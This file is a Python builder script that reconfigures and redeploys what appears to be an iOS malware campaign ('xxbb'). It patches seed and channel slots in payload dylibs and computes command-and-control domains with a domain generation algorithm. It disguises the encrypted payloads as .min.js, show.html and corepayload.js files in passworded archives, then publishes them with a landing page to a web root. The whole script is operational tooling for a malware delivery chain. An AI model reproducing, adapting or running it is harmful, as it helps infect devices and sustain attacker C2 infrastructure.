649 lines
22 KiB
Python
649 lines
22 KiB
Python
#!/usr/bin/env python3
|
||
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
|
||
|
||
Artifact layout (shared, not per-channel folders):
|
||
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
|
||
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
|
||
|
||
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
||
1. both --deployment-seed and --reporting-seed
|
||
2. else {state-root}/lab_seeds.json
|
||
3. else random generate + write lab_seeds.json
|
||
"""
|
||
|
||
from __future__ import annotations
|
||
|
||
import argparse
|
||
import hashlib
|
||
import json
|
||
import re
|
||
import secrets
|
||
import shutil
|
||
from datetime import datetime, timezone
|
||
from pathlib import Path
|
||
|
||
from _details_pack import extract_member, make_passworded_7z
|
||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||
from reproduce_xxbb_dga import generate_domains
|
||
|
||
TOOLS = Path(__file__).resolve().parent
|
||
BUILDER_ROOT = TOOLS.parent
|
||
PROJECT_ROOT = BUILDER_ROOT.parent
|
||
|
||
SOURCE_WEIFILE = BUILDER_ROOT / "source" / "weifile"
|
||
SOURCE_DETAILS = BUILDER_ROOT / "source" / "details"
|
||
SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
|
||
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
|
||
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
|
||
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||
WEIFILE_ROOT = "weifile"
|
||
DETAILS_ROOT = "details"
|
||
LANDING_NAME = "weifile.html"
|
||
CORE_WIRE_NAME = "corepayload.js"
|
||
CORE_MEMBER_NAME = "corepayload.dylib"
|
||
SHOW_WIRE_NAME = "show.html"
|
||
SHOW_MEMBER_NAME = "data.bin"
|
||
CORE_C_EXPECT = 6
|
||
DGA_COUNT = 5
|
||
|
||
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
|
||
ORIGINAL_REP = "68143bfa7130bb97a642196db0292a12"
|
||
ORIGINAL_C = "202700cfb1ad3de68e11239dcc26c30b"
|
||
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
|
||
|
||
RESERVED_CHANNEL_NAMES = frozenset(
|
||
{
|
||
"admin",
|
||
"user",
|
||
"api",
|
||
"web",
|
||
"sync",
|
||
"details",
|
||
"weifile",
|
||
"hooks",
|
||
"link",
|
||
"statistic",
|
||
"vhx",
|
||
"event",
|
||
"log",
|
||
"storage",
|
||
"build",
|
||
"hot",
|
||
"vendor",
|
||
"css",
|
||
"js",
|
||
"up",
|
||
"index",
|
||
"assets",
|
||
"static",
|
||
"source",
|
||
"channel",
|
||
"out",
|
||
"t",
|
||
"a",
|
||
"u",
|
||
"uj",
|
||
"us",
|
||
"ub",
|
||
"ba",
|
||
"result",
|
||
"favicon",
|
||
"robots",
|
||
"sitemap",
|
||
"public",
|
||
"app",
|
||
"bootstrap",
|
||
"config",
|
||
"database",
|
||
"resources",
|
||
"routes",
|
||
"tests",
|
||
"artisan",
|
||
"livewire",
|
||
"sanctum",
|
||
"telescope",
|
||
"horizon",
|
||
"pulse",
|
||
}
|
||
)
|
||
|
||
|
||
def pack_ascii32(name: str, value: str) -> bytes:
|
||
data = value.encode("ascii")
|
||
if len(data) > 32:
|
||
raise SystemExit(f"{name} longer than 32 bytes ({len(data)}): {value!r}")
|
||
if not data:
|
||
raise SystemExit(f"{name} must be non-empty")
|
||
return data + b"\x00" * (32 - len(data))
|
||
|
||
|
||
def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect: int) -> int:
|
||
count = 0
|
||
start = 0
|
||
while True:
|
||
index = buf.find(old, start)
|
||
if index < 0:
|
||
break
|
||
buf[index : index + 32] = new32
|
||
count += 1
|
||
start = index + 32
|
||
if count != expect:
|
||
raise SystemExit(
|
||
f"{label}: unexpected hits for {old.decode('ascii', 'replace')} "
|
||
f"count={count} (want {expect}). Already patched?"
|
||
)
|
||
return count
|
||
|
||
|
||
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
|
||
HTTPS_CSTRINGS = (
|
||
b"https://backup%u.icu",
|
||
b"https://%@",
|
||
b"https://",
|
||
b"https",
|
||
)
|
||
|
||
|
||
def http_cstring(https_s: bytes) -> bytes:
|
||
if not https_s.startswith(b"https"):
|
||
raise SystemExit(f"not an https C-string: {https_s!r}")
|
||
return b"http" + https_s[5:]
|
||
|
||
|
||
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
|
||
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
|
||
if b"\x00" in old or b"\x00" in new:
|
||
raise SystemExit(f"{label}: C-string must not contain NUL")
|
||
if len(new) > len(old):
|
||
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
|
||
old_c = old + b"\x00"
|
||
new_c = new + b"\x00" * (len(old_c) - len(new))
|
||
count = 0
|
||
start = 0
|
||
while True:
|
||
index = buf.find(old_c, start)
|
||
if index < 0:
|
||
break
|
||
buf[index : index + len(old_c)] = new_c
|
||
count += 1
|
||
start = index + len(old_c)
|
||
if count != expect:
|
||
raise SystemExit(
|
||
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
|
||
f"count={count} (want {expect})"
|
||
)
|
||
return count
|
||
|
||
|
||
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
|
||
if scheme == "https":
|
||
for old in HTTPS_CSTRINGS:
|
||
if buf.find(old + b"\x00") < 0:
|
||
raise SystemExit(f"{label}: missing {old.decode()}\\0")
|
||
return
|
||
if scheme != "http":
|
||
raise SystemExit("--scheme must be http or https")
|
||
for old in HTTPS_CSTRINGS:
|
||
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
|
||
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
|
||
raise SystemExit(f"{label}: https URL formats still present")
|
||
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
|
||
raise SystemExit(f"{label}: http URL formats missing after patch")
|
||
|
||
|
||
def sha256_hex(data: bytes) -> str:
|
||
return hashlib.sha256(data).hexdigest()
|
||
|
||
|
||
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
|
||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||
|
||
|
||
def load_keys() -> dict:
|
||
meta = json.loads(SECONDARY_KEYS.read_text())
|
||
stems = meta.get("stems")
|
||
if not isinstance(stems, dict) or not stems:
|
||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
|
||
return meta
|
||
|
||
|
||
def group_dylib_path(group: str) -> Path:
|
||
files = sorted(SOURCE_DYLIBS.glob(f"group_{group}_*.dylib"))
|
||
if len(files) != 1:
|
||
raise SystemExit(f"expected one source dylib for group {group}, found {files}")
|
||
return files[0]
|
||
|
||
|
||
def patch_dylib(
|
||
data: bytes,
|
||
*,
|
||
deployment_seed: str,
|
||
reporting_seed: str,
|
||
channel_c: str,
|
||
label: str,
|
||
scheme: str = "https",
|
||
) -> bytes:
|
||
buf = bytearray(data)
|
||
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
|
||
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
|
||
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
|
||
patch_url_scheme(buf, scheme=scheme, label=label)
|
||
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
|
||
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
|
||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||
raise SystemExit(f"{label}: original c still present")
|
||
return bytes(buf)
|
||
|
||
|
||
def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes:
|
||
"""Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field)."""
|
||
buf = bytearray(data)
|
||
replace_slot(
|
||
buf,
|
||
ORIGINAL_C.encode("ascii"),
|
||
pack_ascii32("--channel-c", channel_c),
|
||
label=label,
|
||
expect=CORE_C_EXPECT,
|
||
)
|
||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||
raise SystemExit(f"{label}: original c still present")
|
||
if channel_c.encode("ascii") not in buf:
|
||
raise SystemExit(f"{label}: patched channel_c missing")
|
||
return bytes(buf)
|
||
|
||
|
||
def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes:
|
||
doc = json.loads(config_bytes.decode("utf-8"))
|
||
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
|
||
raise SystemExit("show data.bin: missing core object")
|
||
core = doc["core"]
|
||
core["sha256"] = core_sha256
|
||
core["size"] = core_size
|
||
# Keep compact JSON (no spaces) to stay close to campaign wire shape.
|
||
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
|
||
|
||
|
||
def build_details(
|
||
*,
|
||
channel_c: str,
|
||
out_dir: Path,
|
||
) -> dict:
|
||
"""Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires."""
|
||
src_core = SOURCE_DETAILS / CORE_WIRE_NAME
|
||
src_show = SOURCE_DETAILS / SHOW_WIRE_NAME
|
||
if not src_core.is_file() or not src_show.is_file():
|
||
raise SystemExit(f"missing details templates under {SOURCE_DETAILS}")
|
||
|
||
member, core_plain = extract_member(src_core.read_bytes())
|
||
if member != CORE_MEMBER_NAME:
|
||
raise SystemExit(f"unexpected core member name: {member!r}")
|
||
patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME)
|
||
core_digest = sha256_hex(patched_core)
|
||
core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core)
|
||
|
||
show_member, show_plain = extract_member(src_show.read_bytes())
|
||
if show_member != SHOW_MEMBER_NAME:
|
||
raise SystemExit(f"unexpected show member name: {show_member!r}")
|
||
show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core))
|
||
show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated)
|
||
|
||
wires = out_dir / "details_wires"
|
||
wires.mkdir(parents=True, exist_ok=True)
|
||
(wires / CORE_WIRE_NAME).write_bytes(core_wire)
|
||
(wires / SHOW_WIRE_NAME).write_bytes(show_wire)
|
||
(out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core)
|
||
|
||
return {
|
||
"core_sha256": core_digest,
|
||
"core_size": len(patched_core),
|
||
"core_wire_size": len(core_wire),
|
||
"show_wire_size": len(show_wire),
|
||
"core_c_hits": patched_core.count(channel_c.encode("ascii")),
|
||
}
|
||
|
||
|
||
def copy_tree(src: Path, dst: Path) -> None:
|
||
if dst.exists():
|
||
shutil.rmtree(dst)
|
||
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
|
||
|
||
|
||
def validate_channel_name(value: str) -> str:
|
||
name = (value or "").strip().lower()
|
||
if not CHANNEL_NAME_RE.fullmatch(name):
|
||
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
|
||
if name in RESERVED_CHANNEL_NAMES:
|
||
raise SystemExit(f"--channel-name {name!r} is reserved")
|
||
return name
|
||
|
||
|
||
def gen_seed() -> str:
|
||
return secrets.token_hex(16)
|
||
|
||
|
||
def utc_now() -> str:
|
||
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
|
||
|
||
|
||
def compute_domains(dep: str, rep: str, channel_c: str, count: int = DGA_COUNT) -> dict:
|
||
"""First 5 hosts each native shared pool will try.
|
||
|
||
Both `sharedDeploymentPool` and `sharedReportingPool` init with the
|
||
reporting-c CFString (the 32-byte slot this builder patches as channel_c),
|
||
not the adjacent C-string dep/rep seeds. Lists are therefore identical.
|
||
"""
|
||
del dep, rep
|
||
hosts = generate_domains(channel_c, count)
|
||
return {"deployment": hosts, "reporting": list(hosts)}
|
||
|
||
|
||
def load_lab_seeds(path: Path) -> dict | None:
|
||
if not path.is_file():
|
||
return None
|
||
doc = json.loads(path.read_text())
|
||
if not isinstance(doc, dict):
|
||
raise SystemExit(f"invalid {path}: not an object")
|
||
dep = doc.get("deployment_seed")
|
||
rep = doc.get("reporting_seed")
|
||
if not isinstance(dep, str) or not isinstance(rep, str) or not dep or not rep:
|
||
raise SystemExit(f"invalid {path}: missing seeds")
|
||
return doc
|
||
|
||
|
||
def write_lab_seeds(
|
||
path: Path,
|
||
*,
|
||
dep: str,
|
||
rep: str,
|
||
channel_c: str,
|
||
domains: dict,
|
||
existing: dict | None,
|
||
) -> dict:
|
||
now = utc_now()
|
||
doc = {
|
||
"schema_version": 1,
|
||
"mode": "dga",
|
||
"deployment_seed": dep,
|
||
"reporting_seed": rep,
|
||
"channel_c": channel_c,
|
||
"dga_count": DGA_COUNT,
|
||
"domains": domains,
|
||
"created_at": (existing or {}).get("created_at") or now,
|
||
"updated_at": now,
|
||
}
|
||
path.parent.mkdir(parents=True, exist_ok=True)
|
||
path.write_text(json.dumps(doc, indent=2) + "\n")
|
||
return doc
|
||
|
||
|
||
def _looks_like_xxbb_domains(dep_list: list, rep_list: list) -> bool:
|
||
if len(dep_list) < 1 or len(rep_list) < 1:
|
||
return False
|
||
return all(isinstance(x, str) and XXBB_DGA_HOST_RE.fullmatch(x) for x in dep_list[:DGA_COUNT] + rep_list[:DGA_COUNT])
|
||
|
||
|
||
def _domains_from_existing(
|
||
existing: dict | None, dep: str, rep: str, channel_c: str
|
||
) -> tuple[dict, bool]:
|
||
"""Return (domains, newly_computed)."""
|
||
expected = compute_domains(dep, rep, channel_c)
|
||
raw = (existing or {}).get("domains") if existing else None
|
||
if isinstance(raw, dict):
|
||
dep_list = raw.get("deployment")
|
||
rep_list = raw.get("reporting")
|
||
if (
|
||
isinstance(dep_list, list)
|
||
and isinstance(rep_list, list)
|
||
and _looks_like_xxbb_domains(dep_list, rep_list)
|
||
and [str(x) for x in dep_list[:DGA_COUNT]] == expected["deployment"]
|
||
and [str(x) for x in rep_list[:DGA_COUNT]] == expected["reporting"]
|
||
):
|
||
return expected, False
|
||
return expected, True
|
||
|
||
|
||
def resolve_seeds(
|
||
*,
|
||
lab_seeds_path: Path,
|
||
cli_dep: str | None,
|
||
cli_rep: str | None,
|
||
cli_c: str | None,
|
||
) -> tuple[str, str, str, dict, bool]:
|
||
"""Return dep, rep, channel_c, domains, seeds_initialized."""
|
||
if bool(cli_dep) ^ bool(cli_rep):
|
||
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
|
||
|
||
existing = load_lab_seeds(lab_seeds_path)
|
||
channel_c = (cli_c or "").strip() or (
|
||
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
|
||
)
|
||
pack_ascii32("--channel-c", channel_c)
|
||
if channel_c == SEVEN_ZIP_PASSWORD:
|
||
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
|
||
|
||
if cli_dep and cli_rep:
|
||
dep = cli_dep.strip()
|
||
rep = cli_rep.strip()
|
||
pack_ascii32("--deployment-seed", dep)
|
||
pack_ascii32("--reporting-seed", rep)
|
||
if dep != rep:
|
||
raise SystemExit("deployment and reporting seeds must match")
|
||
if existing and existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep:
|
||
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
|
||
if computed or existing.get("channel_c") != channel_c:
|
||
write_lab_seeds(
|
||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
||
)
|
||
return dep, rep, channel_c, domains, computed and existing is not None
|
||
domains = compute_domains(dep, rep, channel_c)
|
||
write_lab_seeds(
|
||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
||
)
|
||
return dep, rep, channel_c, domains, existing is None
|
||
|
||
if existing:
|
||
dep = str(existing["deployment_seed"])
|
||
rep = str(existing["reporting_seed"])
|
||
pack_ascii32("--deployment-seed", dep)
|
||
pack_ascii32("--reporting-seed", rep)
|
||
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
|
||
if computed:
|
||
write_lab_seeds(
|
||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
||
)
|
||
return dep, rep, channel_c, domains, computed
|
||
|
||
dep = gen_seed()
|
||
rep = dep
|
||
domains = compute_domains(dep, rep, channel_c)
|
||
write_lab_seeds(
|
||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=None
|
||
)
|
||
return dep, rep, channel_c, domains, True
|
||
|
||
|
||
def default_state_root() -> Path:
|
||
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
|
||
|
||
|
||
def main() -> int:
|
||
parser = argparse.ArgumentParser(
|
||
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
|
||
)
|
||
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
||
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
||
parser.add_argument(
|
||
"--channel-c",
|
||
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
|
||
)
|
||
parser.add_argument(
|
||
"--channel-name",
|
||
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
|
||
)
|
||
parser.add_argument(
|
||
"--artifact-root",
|
||
type=Path,
|
||
default=PROJECT_ROOT / "public",
|
||
help="directory that will contain weifile/ and details/",
|
||
)
|
||
parser.add_argument(
|
||
"--state-root",
|
||
type=Path,
|
||
default=None,
|
||
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
|
||
)
|
||
parser.add_argument(
|
||
"--out",
|
||
type=Path,
|
||
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
|
||
)
|
||
parser.add_argument(
|
||
"--apply",
|
||
action="store_true",
|
||
help="write shared {artifact}/weifile/ and {artifact}/details/",
|
||
)
|
||
parser.add_argument(
|
||
"--force",
|
||
action="store_true",
|
||
help="replace existing weifile/ and details/ (default with --apply)",
|
||
)
|
||
parser.add_argument(
|
||
"--scheme",
|
||
choices=("http", "https"),
|
||
default="https",
|
||
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
|
||
)
|
||
args = parser.parse_args()
|
||
|
||
state_root = (args.state_root or default_state_root()).resolve()
|
||
state_root.mkdir(parents=True, exist_ok=True)
|
||
dep, rep, channel_c, domains, seeds_initialized = resolve_seeds(
|
||
lab_seeds_path=state_root / LAB_SEEDS_NAME,
|
||
cli_dep=args.deployment_seed,
|
||
cli_rep=args.reporting_seed,
|
||
cli_c=args.channel_c,
|
||
)
|
||
|
||
# Optional legacy flag; shared layout no longer uses per-channel folders.
|
||
if args.channel_name:
|
||
validate_channel_name(args.channel_name)
|
||
|
||
meta = load_keys()
|
||
stems = meta["stems"]
|
||
groups = sorted({info["group"] for info in stems.values()})
|
||
|
||
patched: dict[str, bytes] = {}
|
||
for group in groups:
|
||
path = group_dylib_path(group)
|
||
data = patch_dylib(
|
||
path.read_bytes(),
|
||
deployment_seed=dep,
|
||
reporting_seed=rep,
|
||
channel_c=channel_c,
|
||
label=path.name,
|
||
scheme=args.scheme,
|
||
)
|
||
patched[group] = data
|
||
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
|
||
|
||
out = args.out
|
||
if out is None:
|
||
out = state_root / "out"
|
||
out = out.resolve()
|
||
out.mkdir(parents=True, exist_ok=True)
|
||
(out / "dylibs").mkdir(exist_ok=True)
|
||
for group, data in patched.items():
|
||
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
|
||
|
||
built = []
|
||
for stem, info in stems.items():
|
||
group = info["group"]
|
||
key = bytes.fromhex(info["key"])
|
||
wire = encrypt_secondary_minjs(patched[group], key)
|
||
check = decrypt_secondary_minjs(wire, key)
|
||
if check != patched[group]:
|
||
raise SystemExit(f"round-trip failed for {stem}")
|
||
dest = out / f"{stem}.min.js"
|
||
dest.write_bytes(wire)
|
||
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
|
||
print(f" wrote {dest.name} ({len(wire)} bytes)")
|
||
|
||
details_meta = build_details(channel_c=channel_c, out_dir=out)
|
||
print(
|
||
f"corepayload: patched c hits={details_meta['core_c_hits']} "
|
||
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
|
||
)
|
||
|
||
weifile_path = ""
|
||
details_path = ""
|
||
if args.apply:
|
||
artifact = args.artifact_root.resolve()
|
||
dest_weifile = artifact / WEIFILE_ROOT
|
||
dest_details = artifact / DETAILS_ROOT
|
||
# Shared trees are always replaced on --apply.
|
||
if not SOURCE_WEIFILE.is_dir():
|
||
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
||
if not SOURCE_DETAILS.is_dir():
|
||
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
||
copy_tree(SOURCE_WEIFILE, dest_weifile)
|
||
if not (dest_weifile / LANDING_NAME).is_file():
|
||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||
copy_tree(SOURCE_DETAILS, dest_details)
|
||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||
for item in built:
|
||
src = out / f"{item['stem']}.min.js"
|
||
dst = dest_weifile / src.name
|
||
shutil.copy2(src, dst)
|
||
print(f"applied -> {dst}")
|
||
print(f"applied weifile -> {dest_weifile}")
|
||
print(f"applied details -> {dest_details}")
|
||
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
|
||
details_path = f"/{DETAILS_ROOT}/"
|
||
|
||
print("deployment domains:")
|
||
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
||
print(f" {i:03d} {domain}")
|
||
print("reporting domains:")
|
||
for i, domain in enumerate(domains.get("reporting") or [], 1):
|
||
print(f" {i:03d} {domain}")
|
||
|
||
result = {
|
||
"campaign": "xxbb",
|
||
"builder_type": "new",
|
||
"channel_name": None,
|
||
"weifile_path": weifile_path or None,
|
||
"support_path": weifile_path or None,
|
||
"details_path": details_path or None,
|
||
"seeds_initialized": seeds_initialized,
|
||
"sync_rebuilt": bool(args.apply),
|
||
"domains": domains,
|
||
"seeds": {
|
||
"deployment_seed": dep,
|
||
"reporting_seed": rep,
|
||
"channel_c": channel_c,
|
||
},
|
||
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
||
"files": built,
|
||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||
"details": details_meta,
|
||
"scheme": args.scheme,
|
||
"notes": [
|
||
"secondary + corepayload c patched; domains follow channel_c DGA",
|
||
"shared artifact paths: /weifile/weifile.html and /details/",
|
||
"index.js iptj URL / channelCode not patched",
|
||
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
||
f"native DGA/C2 scheme={args.scheme}",
|
||
],
|
||
}
|
||
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
|
||
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
|
||
return 0
|
||
|
||
|
||
if __name__ == "__main__":
|
||
raise SystemExit(main())
|